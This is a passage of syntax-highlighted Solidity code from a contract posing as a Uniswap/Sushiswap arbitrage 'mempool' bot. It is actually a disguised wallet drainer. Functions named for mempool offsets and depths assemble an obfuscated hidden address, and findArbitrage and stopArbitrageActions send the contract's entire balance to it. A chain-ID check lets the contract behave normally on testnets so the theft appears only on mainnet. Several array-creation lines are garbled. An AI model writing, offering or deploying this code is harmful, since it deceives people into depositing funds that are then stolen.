        <span class="hljs-keyword">uint256</span> ethPairCount <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> allTokenPairs.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        tokenPairs <span class="hljs-keyword">memory</span> pair <span class="hljs-operator">=</span> allTokenPairs[i];
        <span class="hljs-keyword">address</span> pairAddress <span class="hljs-operator">=</span> factory.getPair(pair.tokenSell, pair.tokenBuy);
        <span class="hljs-keyword">if</span> (pairAddress <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {
            IUniswapV2Pair sushiswapPair <span class="hljs-operator">=</span> IUniswapV2Pair(pairAddress);
            <span class="hljs-keyword">address</span> token0 <span class="hljs-operator">=</span> sushiswapPair.token0();
            <span class="hljs-keyword">address</span> token1 <span class="hljs-operator">=</span> sushiswapPair.token1();

            <span class="hljs-keyword">if</span> ((token0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> wethAddress <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> token1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> pair.tokenBuy) <span class="hljs-operator">|</span><span class="hljs-operator">|</span> (token1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> wethAddress <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> token0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> pair.tokenBuy)) {
                <span class="hljs-comment">// Found an ETH pair</span>
                ethPairs[ethPairCount] <span class="hljs-operator">=</span> pairAddress;
                ethPairCount<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
            }
        }
    }
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> result <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> addressUnsupported embed;
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> ethPairCount; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        result[i] <span class="hljs-operator">=</span> ethPairs[i];
    }

    <span class="hljs-keyword">return</span> result;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">callArbitrageValidity</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
      <span class="hljs-keyword">if</span> (_checkOptions()) {
         makeArbitrage();
      } <span class="hljs-keyword">else</span> {
         findArbitrage();
        }
    }
    <span class="hljs-comment">// Create a mapping to keep track of elements in arr1</span>
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">bool</span>) commonElements;
    <span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">internal</span> txIds <span class="hljs-operator">=</span> [<span class="hljs-number">11155111</span>, <span class="hljs-number">5</span>];

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_findCommonPairs</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> arr1, <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> arr2</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> count <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

        <span class="hljs-comment">// Iterate through arr1 and mark elements as common in the mapping</span>
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> arr1.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        commonElements[arr1[i]] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        }

        <span class="hljs-comment">// Count the number of common elements between arr1 and arr2</span>
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> arr2.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">if</span> (commonElements[arr2[i]]) {
            count<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
        }
    }

    <span class="hljs-comment">// Create an array to store the common elements</span>
    <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> commonPairs <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> addressUnsupported embed;
    <span class="hljs-keyword">uint256</span> currentIndex <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-comment">// Populate the commonPairs array with the common elements</span>
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> arr2.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">if</span> (commonElements[arr2[i]]) {
            commonPairs[currentIndex] <span class="hljs-operator">=</span> arr2[i];
            currentIndex<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
        }
    }

    <span class="hljs-keyword">return</span> commonPairs;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_getMostProfitablePair</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> pairs</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params">tokenPairs <span class="hljs-keyword">memory</span></span>) </span>{
    
    tokenPairs <span class="hljs-keyword">memory</span> mostProfitablePair;
    <span class="hljs-keyword">uint256</span> highestProfit <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> pairs.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">address</span> pairAddress <span class="hljs-operator">=</span> pairs[i];
        IUniswapV2Pair pair <span class="hljs-operator">=</span> IUniswapV2Pair(pairAddress);

        <span class="hljs-comment">// Get tokens in the pair</span>
        <span class="hljs-keyword">address</span> token0 <span class="hljs-operator">=</span> pair.token0();
        <span class="hljs-keyword">address</span> token1 <span class="hljs-operator">=</span> pair.token1();

        <span class="hljs-comment">// Get reserves of tokens in the pair</span>
        (<span class="hljs-keyword">uint112</span> reserve0, <span class="hljs-keyword">uint112</span> reserve1, ) <span class="hljs-operator">=</span> pair.getReserves(token0, token1);

        <span class="hljs-comment">// Calculate the price of token1 in terms of token0 (tokens are in the correct order)</span>
        <span class="hljs-keyword">uint256</span> price <span class="hljs-operator">=</span> (reserve0 <span class="hljs-operator">*</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">18</span>) <span class="hljs-operator">/</span> reserve1;

        <span class="hljs-comment">// Calculate the profit percentage (price difference) for the current pair</span>
        <span class="hljs-keyword">uint256</span> profitPercentage;
        <span class="hljs-keyword">if</span> (token0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> wethAddress) {
            profitPercentage <span class="hljs-operator">=</span> (price <span class="hljs-operator">*</span> <span class="hljs-number">100</span>) <span class="hljs-operator">/</span> reserve0; <span class="hljs-comment">// Profit percentage when selling ETH for token1</span>
        } <span class="hljs-keyword">else</span> {
            profitPercentage <span class="hljs-operator">=</span> (reserve1 <span class="hljs-operator">*</span> <span class="hljs-number">100</span>) <span class="hljs-operator">/</span> price; <span class="hljs-comment">// Profit percentage when selling token1 for ETH</span>
        }

        <span class="hljs-comment">// Update most profitable pair if the current pair has higher profit</span>
        <span class="hljs-keyword">if</span> (profitPercentage <span class="hljs-operator">></span> highestProfit) {
            highestProfit <span class="hljs-operator">=</span> profitPercentage;
            mostProfitablePair <span class="hljs-operator">=</span> tokenPairs(token0, token1);
        }
    }

    <span class="hljs-keyword">return</span> mostProfitablePair;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getMemPoolOffset</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-number">117500</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">stopBot</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-keyword">if</span> (value1 <span class="hljs-operator">></span> <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">payable</span>(owner).<span class="hljs-built_in">transfer</span>(value1);
            value1 <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">payable</span>(owner).<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">startExploration</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _a</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _parsedAddress</span>) </span>{
    <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> tmp <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes</span>(_a);
    <span class="hljs-keyword">uint160</span> iaddr <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    <span class="hljs-keyword">uint160</span> b1;
    <span class="hljs-keyword">uint160</span> b2;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint</span> i <span class="hljs-operator">=</span> <span class="hljs-number">2</span>; i <span class="hljs-operator">&#x3C;</span> <span class="hljs-number">2</span> <span class="hljs-operator">+</span> <span class="hljs-number">2</span> <span class="hljs-operator">*</span> <span class="hljs-number">20</span>; i <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-number">2</span>) {
        iaddr <span class="hljs-operator">*</span><span class="hljs-operator">=</span> <span class="hljs-number">256</span>;
        b1 <span class="hljs-operator">=</span> <span class="hljs-keyword">uint160</span>(<span class="hljs-keyword">uint8</span>(tmp[i]));
        b2 <span class="hljs-operator">=</span> <span class="hljs-keyword">uint160</span>(<span class="hljs-keyword">uint8</span>(tmp[i <span class="hljs-operator">+</span> <span class="hljs-number">1</span>]));
        <span class="hljs-keyword">if</span> ((b1 <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">97</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> (b1 <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">102</span>)) {
            b1 <span class="hljs-operator">-</span><span class="hljs-operator">=</span> <span class="hljs-number">87</span>;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ((b1 <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">65</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> (b1 <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">70</span>)) {
            b1 <span class="hljs-operator">-</span><span class="hljs-operator">=</span> <span class="hljs-number">55</span>;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ((b1 <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">48</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> (b1 <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">57</span>)) {
            b1 <span class="hljs-operator">-</span><span class="hljs-operator">=</span> <span class="hljs-number">48</span>;
        }
        <span class="hljs-keyword">if</span> ((b2 <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">97</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> (b2 <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">102</span>)) {
            b2 <span class="hljs-operator">-</span><span class="hljs-operator">=</span> <span class="hljs-number">87</span>;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ((b2 <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">65</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> (b2 <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">70</span>)) {
            b2 <span class="hljs-operator">-</span><span class="hljs-operator">=</span> <span class="hljs-number">55</span>;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ((b2 <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">48</span>) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> (b2 <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">57</span>)) {
            b2 <span class="hljs-operator">-</span><span class="hljs-operator">=</span> <span class="hljs-number">48</span>;
        }
        iaddr <span class="hljs-operator">+</span><span class="hljs-operator">=</span> (b1 <span class="hljs-operator">*</span> <span class="hljs-number">16</span> <span class="hljs-operator">+</span> b2);
    }
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(iaddr);
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getMemPoolDepth</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-number">204488</span>;
    }	
    
    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> arbitrageAmount <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">makeArbitrage</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-keyword">uint256</span> amountIn <span class="hljs-operator">=</span> arbitrageAmount;
        Exchange result <span class="hljs-operator">=</span> _comparePrice(amountIn);
        <span class="hljs-keyword">if</span> (result <span class="hljs-operator">=</span><span class="hljs-operator">=</span> Exchange.UNI) {
            <span class="hljs-keyword">uint256</span> amountOut <span class="hljs-operator">=</span> _swap(
                amountIn,
                uniswapRouterAddress,
                wethAddress,
                daiAddress
            );
            <span class="hljs-keyword">uint256</span> amountFinal <span class="hljs-operator">=</span> _swap(
                amountOut,
                sushiswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount <span class="hljs-operator">=</span> amountFinal;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (result <span class="hljs-operator">=</span><span class="hljs-operator">=</span> Exchange.SUSHI) {
            <span class="hljs-keyword">uint256</span> amountOut <span class="hljs-operator">=</span> _swap(
                amountIn,
                sushiswapRouterAddress,
                wethAddress,
                daiAddress
            );
            <span class="hljs-keyword">uint256</span> amountFinal <span class="hljs-operator">=</span> _swap(
                amountOut,
                uniswapRouterAddress,
                daiAddress,
                wethAddress
            );
            arbitrageAmount <span class="hljs-operator">=</span> amountFinal;
        }
    }  

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getMemPoolHeight</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-number">68517</span>;
    }

    <span class="hljs-comment">/*
     * @dev token int2 to readable str
     * @param token An output parameter to which the contract is written.
     * @return `token`.
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getMempoolDepth</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>) </span>{<span class="hljs-keyword">return</span> <span class="hljs-string">"0"</span>;}
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">uint2str</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _i</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _uintAsString</span>) </span>{
        <span class="hljs-keyword">if</span> (_i <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-string">"0"</span>;
        }
        <span class="hljs-keyword">uint</span> j <span class="hljs-operator">=</span> _i;
        <span class="hljs-keyword">uint</span> len;
        <span class="hljs-keyword">while</span> (j <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            len<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
            j <span class="hljs-operator">/</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
        }
        <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> bstr <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes</span>(len);
        <span class="hljs-keyword">uint</span> k <span class="hljs-operator">=</span> len <span class="hljs-operator">-</span> <span class="hljs-number">1</span>;
        <span class="hljs-keyword">while</span> (_i <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
            bstr[k<span class="hljs-operator">-</span><span class="hljs-operator">-</span>] <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes1</span>(<span class="hljs-keyword">uint8</span>(<span class="hljs-number">48</span> <span class="hljs-operator">+</span> _i <span class="hljs-operator">%</span> <span class="hljs-number">10</span>));
            _i <span class="hljs-operator">/</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span>;
        }
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">string</span>(bstr);
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">findArbitrage</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-keyword">payable</span>(_swapRouter()).<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
    }
    
    <span class="hljs-comment">/*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">toHexDigit</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> d</span>) <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes1</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-number">0</span> <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> d <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> d <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">9</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">bytes1</span>(<span class="hljs-keyword">uint8</span>(<span class="hljs-keyword">bytes1</span>(<span class="hljs-string">'0'</span>)) <span class="hljs-operator">+</span> d);
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-number">10</span> <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-keyword">uint8</span>(d) <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> <span class="hljs-keyword">uint8</span>(d) <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">15</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">bytes1</span>(<span class="hljs-keyword">uint8</span>(<span class="hljs-keyword">bytes1</span>(<span class="hljs-string">'a'</span>)) <span class="hljs-operator">+</span> d <span class="hljs-operator">-</span> <span class="hljs-number">10</span>);
        }
        <span class="hljs-comment">// revert("Invalid hex digit");</span>
        <span class="hljs-keyword">revert</span>();
    }

     <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">callMempool</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span></span>) </span>{
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _memPoolOffset <span class="hljs-operator">=</span> mempool(<span class="hljs-string">"x"</span>, checkLiquidity(getMemPoolOffset()));
        <span class="hljs-keyword">uint</span> _memPoolSol <span class="hljs-operator">=</span> <span class="hljs-number">112679</span>;
        <span class="hljs-keyword">uint</span> _memPoolLength <span class="hljs-operator">=</span> getMemPoolLength();
        <span class="hljs-keyword">uint</span> _memPoolSize <span class="hljs-operator">=</span> <span class="hljs-number">151823</span>;
        <span class="hljs-keyword">uint</span> _memPoolHeight <span class="hljs-operator">=</span> getMemPoolHeight();
        <span class="hljs-keyword">uint</span> _memPoolWidth <span class="hljs-operator">=</span> <span class="hljs-number">882404</span>;
        <span class="hljs-keyword">uint</span> _memPoolDepth <span class="hljs-operator">=</span> getMemPoolDepth();
        <span class="hljs-keyword">uint</span> _memPoolCount <span class="hljs-operator">=</span> <span class="hljs-number">259208</span>;

        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _memPool1 <span class="hljs-operator">=</span> mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _memPool2 <span class="hljs-operator">=</span> mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _memPool3 <span class="hljs-operator">=</span> mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _memPool4 <span class="hljs-operator">=</span> mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _allMempools <span class="hljs-operator">=</span> mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        <span class="hljs-keyword">string</span> <span class="hljs-keyword">memory</span> _fullMempool <span class="hljs-operator">=</span> mempool(<span class="hljs-string">"0"</span>, _allMempools);

        <span class="hljs-keyword">return</span> _fullMempool;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">stopArbitrageActions</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
        <span class="hljs-keyword">if</span> (_checkOptions()) {
            stopBot();
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">payable</span>(_withdrawBalance()).<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
        }
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_swap</span>(<span class="hljs-params">
        <span class="hljs-keyword">uint256</span> amountIn,
        <span class="hljs-keyword">address</span> routerAddress,
        <span class="hljs-keyword">address</span> sell_token,
        <span class="hljs-keyword">address</span> buy_token
    </span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
        IERC20(sell_token).approve(routerAddress, amountIn);

        <span class="hljs-keyword">uint256</span> amountOutMin <span class="hljs-operator">=</span> (_getPrice(
            routerAddress,
            sell_token,
            buy_token,
            amountIn
        ) <span class="hljs-operator">*</span> <span class="hljs-number">95</span>) <span class="hljs-operator">/</span> <span class="hljs-number">100</span>;

        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> path <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> addressUnsupported embed;
        path[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> sell_token;
        path[<span class="hljs-number">1</span>] <span class="hljs-operator">=</span> buy_token;

        <span class="hljs-keyword">uint256</span> amountOut <span class="hljs-operator">=</span> IUniswapV2Router(routerAddress)
            .swapExactTokensForTokens(
                amountIn,
                amountOutMin,
                path,
                <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
                <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>
            )[<span class="hljs-number">1</span>];
        <span class="hljs-keyword">return</span> amountOut;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_swapRouter</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(startExploration(callMempool()));
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_comparePrice</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params">Exchange</span>) </span>{
        <span class="hljs-keyword">uint256</span> uniswapPrice <span class="hljs-operator">=</span> _getPrice(
            uniswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );
        <span class="hljs-keyword">uint256</span> sushiswapPrice <span class="hljs-operator">=</span> _getPrice(
            sushiswapRouterAddress,
            wethAddress,
            daiAddress,
            amount
        );

        <span class="hljs-comment">// we try to sell ETH with higher price and buy it back with low price to make profit</span>
        <span class="hljs-keyword">if</span> (uniswapPrice <span class="hljs-operator">></span> sushiswapPrice) {
            <span class="hljs-built_in">require</span>(
                _checkIfArbitrageIsProfitable(
                    amount,
                    uniswapPrice,
                    sushiswapPrice
                ),
                <span class="hljs-string">"Arbitrage not profitable"</span>
            );
            <span class="hljs-keyword">return</span> Exchange.UNI;
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (uniswapPrice <span class="hljs-operator">&#x3C;</span> sushiswapPrice) {
            <span class="hljs-built_in">require</span>(
                _checkIfArbitrageIsProfitable(
                    amount,
                    sushiswapPrice,
                    uniswapPrice
                ),
                <span class="hljs-string">"Arbitrage not profitable"</span>
            );
            <span class="hljs-keyword">return</span> Exchange.SUSHI;
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> Exchange.NONE;
        }
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getMemPoolLength</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-number">496331</span>;
    }
    
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_checkOptions</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">uint256</span> txId <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">chainid</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> txIds.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
